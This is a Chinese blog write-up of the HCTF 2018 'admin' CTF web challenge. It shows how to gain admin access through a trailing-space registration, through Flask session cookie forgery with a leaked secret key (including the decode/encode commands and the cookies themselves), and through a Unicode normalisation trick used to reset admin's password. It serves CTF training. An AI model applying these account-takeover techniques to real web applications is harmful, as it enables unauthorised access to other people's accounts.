• [原题复现]2018HCTF WEB admin(session伪造、unicode漏洞、条件竞争)


    简介

     原题复现:https://github.com/woadsl1234/HCTF2018_admin

     考察知识点:session伪造unicode漏洞、条件竞争

     线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题

    第一个方法:

    打开界面先查看了源码提示 you are not admin 我不是admin 第一感觉就是要admin登陆 于是寻找登陆界面 有个注册页面我们先进行注册

    尝试注册admin 结果显示已经有了 我们尝试"admin "后面为空格

    点击注册之后就到了这个界面

     找到这一行 最右边鼠标移上去有个命令图标点击出现这个 可以执行py 我们输入print(username)

    输入printf输出得到账户密码

     

    我们登陆 得到flag

     

    这是应该个非预期....

    看看WP的姿势 

    方法二:session伪造

    方法二:session伪造

    session伪造 https://www.leavesongs.com/PENETRATION/client-session-security.html

    看作者博客说这也是一个非预期的解,管它呢学姿势就OJBK了。

    随便注册一个账户 在change修改密码页面发现源码可供下载

    https://github.com/woadsl1234/hctf_flask/ 

    下载进行分析发现在app emplateindex.html发现session['name']=='admin'就能得到falg,所以看wp思路可以进行session伪造 首先寻找secret_key

    在appconfig.py里面发现了secret_key 只要有这个我们就可以进行session伪造了 因为我们的Flask的session在本地的

     

    下载工具

    https://github.com/noraj/flask-session-cookie-manager

    首先获取我们本地的session值

    将session值解码:

    python .flask_session_cookie_manager2.py decode -c ".eJw9kE2LwjAURf_K8NYuajqzEVwIsaXCS1FiQ7IRdWrz0ThDW6mN-N8nOODqLe7hXO57wOHS1b2GxdDd6hkczDcsHv
    BxggWg3afIi7u05wnJNjCSOZVnjuWVRt46DNpJIe-KKqf4NjKSSK4Ns-cRvYrcRjO6JyVtDYZiYl4GJJmJ1BxtcS8FkngnyXFUNjMql1
    _SrlImMJT0RaeRmLO8-FTcTcpiUvKdVnRN0FemzCPDWx37lvCcwbnvLofhx9XX9wTpN7YUqmWxUorKKrsakTdBBu2V2BhGK8dEnCiimq
    5TZldENsuXzvhjU79Nu-SX7sf_5Hr0MYCh7geYwa2vu9fbYJ7A8w-kYW1v.Xj-tXQ.GmXzuYTP0IobbVCyI-9xVsc5C5A" -s ckj123

    得到:

    {u'csrf_token': 'bbc9fe7f5aecf00183c8febb45d5b1ac4817606b', u'user_id': u'10', u'name': u'test', u'image': 'GJCS', u'_fresh': True, u'_id': '257121b723d37addad4ea19d38daf1d6de423f6a8b6702fd4ba45689b3226f33abcf52219c6222a30f1bdf9b075c383fc373c54b8e92f3494ad162eb8cfa9a67'}

    在解码的时候我们要将原数据里面的test改成admin 然后在进行重新编码

    python .flask_session_cookie_manager2.py encode -t "{u'csrf_token': 'bbc9fe7f5aecf00183c8febb45d5b1ac4817606b', u'user_id': u'10', u'name': u'admin', u'image': 'GJCS', u'_fresh': True, u'_id': '257121b723d37addad4ea19d38daf1d6de423f6a8b6702fd4ba45689b3226f33abcf52219c6222a30f1bdf9b075c383fc373c54b8e92f3494ad162eb8cfa9a67'}" -s "ckj123" 

    得到新的session

    .eJw9kE2LwjAURf_K8NYuNJ3ZCC6E2FLhpSix4WUjjlbz0ThDVWoj_vcJDrh6i3s4l_sesD12zcXA9NrdmhFs7QGmD_j4himg22Qoyzu5_YBsFQXLvS5yL4raoGw9RuNJ0V1z7bVcJYYYSWOF2_cYdOKWRvANq3hrMZaDCBSR5TZRE3TlvVLI0h1IYq9dbnVBX-TmmVAYK_6is0RMRFF-aukH7XBcybXRfMEw1LYqEiNbk_pm8BzB_tIdt9cf35zfEygsXaV0K1IlqdppN-9RniJFE7RaWsFrL1SaqJKaLzLh5oxOs5fOht2peZvW41--6f-T8y6kAHaHYM8wgtul6V5_g8kYnn8Rwm24.Xj_KZA.FGcGdsiAkoyhPfzw0dChvF_SR4A

    修改原有的session发送得到flag

     

     参考学习:

         作者博客:https://www.ckj123.com/?p=147 

         客户端 session 导致的安全问题:https://www.leavesongs.com/PENETRATION/client-session-security.html

         https://www.cnblogs.com/apossin/p/10083937.html

    第三种方法:Unicode欺骗(预期解)

    看作者wp这才是真正的预期解

    作者说按照这个漏洞思路写的

    unicode问题,对于一些特殊字符,nodeprep.prepare会进行如下操作

    ᴬ -> A -> a

    攻击流程:

    注册用户ᴬdmin
    登录用户ᴬdmin,变成Admin
    修改密码Admin,更改了admin的密码

     参考学习:https://www.jianshu.com/p/f92311564ad0

    第四种方法

    111

    简介

    111

    简介

  • 相关阅读:
    Flask 框架下 Jinja2 模板引擎高层 API 类——Environment
    java中的URLEncoder.encode对应JS中用decodeURIComponent,js和java编码,解码
    SQL触发器(AFTER和INSTEAD OF)
    jquery对中文进行base64加密,后台用java进行base64解密
    org.apache.catalina.core.StandardWrapperValve.invoke Servlet.service() for servlet [WebApp] in context with path关于数据库库的问题
    Mybatis-Plus代码生成器
    Swagger2-注解说明
    Maven详细配置
    JDK环境变量配置
    内存泄漏测试
  • 原文地址:https://www.cnblogs.com/xhds/p/12287085.html
Copyright © 2020-2023  润新知